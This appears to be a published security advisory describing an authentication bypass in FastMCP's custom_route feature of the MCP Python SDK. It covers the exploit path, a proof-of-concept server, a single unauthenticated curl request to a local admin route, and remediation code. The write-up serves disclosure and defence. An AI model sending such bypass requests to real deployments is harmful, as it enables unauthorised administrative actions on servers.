← Findings
Anthropic·2025

Authentication bypass on FastMCP custom routes

CriticalPublic fix

Summary

Broken Access Control in FastMCP custom routes

FastMCP.custom_route() allows developers to mount arbitrary HTTP handlers intended for sensitive use cases such as OAuth callbacks or admin APIs, but it never applies RequireAuthMiddleware even when the server is configured with a token verifier. Only the built-in SSE and StreamableHTTP endpoints are wrapped; custom routes are appended to the Starlette app as-is while Starlette’s AuthenticationMiddleware merely records credentials without rejecting unauthenticated requests. As a result any HTTP endpoint registered through @server.custom_route() remains publicly accessible despite OAuth or token-based authentication being enabled for the server. Attackers can directly invoke privileged administration handlers over the network without presenting credentials.

CVSS

Vector:NComplexity:LPrivileges:NUser interaction:NScope:UConfidentiality:HIntegrity:HAvailability:L

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Source → Sink

src/mcp/server/fastmcp/server.py

Line 685 · FastMCP.custom_route

src/mcp/server/fastmcp/server.py

Line 920 · FastMCP.sse_app

Attack surface

Any MCP deployment that calls FastMCP(..., token_verifier=..., auth=AuthSettings(...)) and registers routes via @server.custom_route().

Preconditions

None; attacker only needs network access. Authentication is enabled but not enforced on custom routes.

Impact

Whatever privileged operations the route performs (e.g., issuing OAuth tokens, modifying server state) happen with attacker input. Confidentiality, integrity, and availability of the server are compromised.

Exploit path

How the issue forms.

01src/mcp/server/fastmcp/server.py:921

Custom Starlette routes registered via custom_route() are appended to the SSE app without additional middleware.

PYTHON
routes.extend(self._custom_starlette_routes)
02src/mcp/server/fastmcp/server.py:716

custom_route() stores the developer handler as-is with no authentication enforcement even though docstring suggests admin usage.

PYTHON
self._custom_starlette_routes.append(Route(path, endpoint=func,...))
03src/mcp/server/fastmcp/server.py:953

Even when auth is enabled only AuthenticationMiddleware is added globally; it does not reject unauthenticated requests, so custom routes remain open.

PYTHON
if self._token_verifier:
    middleware = [Middleware(AuthenticationMiddleware, backend=BearerAuthBackend(...)), Middleware(AuthContextMiddleware)]
04examples/servers/simple-auth/mcp_simple_auth/legacy_as_server.py:84

Attacker-controlled HTTP request reaches privileged handler without proving identity, enabling arbitrary admin operations.

PYTHON
request = await func(request)

Proof of concept

Reproduction.

Environment

Requirements: Ubuntu 22.04+, Python 3.10+, uv package manager.

Install dependencies:

BASH
git clone https://github.com/modelcontextprotocol/python-sdk.git
cd python-sdk
uv sync --frozen

Configuration

Create a minimal FastMCP server that enables OAuth-style auth but exposes an admin route:

PYTHON
from mcp.server.fastmcp import FastMCP
from mcp.server.auth.settings import AuthSettings
from mcp.server.auth.provider import AccessToken, TokenVerifier
from starlette.requests import Request
from starlette.responses import JSONResponse

class StaticVerifier(TokenVerifier):
    async def verify_token(self, token: str):
        return AccessToken(token=token, client_id="admin", scopes=["admin"]) if token == "valid" else None

app = FastMCP(
    token_verifier=StaticVerifier(),
    auth=AuthSettings(
        issuer_url="https://auth.example.com",
        resource_server_url="https://server.example.com",
        required_scopes=["admin"],
    ),
)

@app.custom_route("/admin/restart", methods=["POST"])
async def restart(_: Request):
    return JSONResponse({"status": "restarted"})

if __name__ == "__main__":
    app.run(transport="streamable-http")

Run the vulnerable server:

BASH
uv run python vulnerable_server.py
# Server listens on http://127.0.0.1:8000/mcp

Delivery

Unauthenticated attack:

BASH
curl -X POST http://127.0.0.1:8000/admin/restart

Outcome

An Internet attacker can trigger any custom admin route without valid tokens (resetting state, altering configuration, dumping data, etc.), fully bypassing the configured OAuth/token protections.

Remediation

Guidance.

Wrap every custom Starlette route with the same RequireAuthMiddleware used for built-in transports whenever a token_verifier is configured. This ensures unauthenticated requests never reach developer-provided admin endpoints.

Before

TEXT
def custom_route(...):
    def decorator(func):
        self._custom_starlette_routes.append(
            Route(path, endpoint=func, ...)
        )

After

TEXT
def custom_route(...):
    def decorator(func):
        endpoint = func
        if self._token_verifier:
            required_scopes = self.settings.auth.required_scopes if self.settings.auth else []
            resource_metadata_url = ...
            endpoint = RequireAuthMiddleware(func, required_scopes, resource_metadata_url)
        self._custom_starlette_routes.append(Route(path, endpoint=endpoint, ...))

Continue

If this is the bar, see the platform.

The archive is public. The product makes this repeatable.

View findings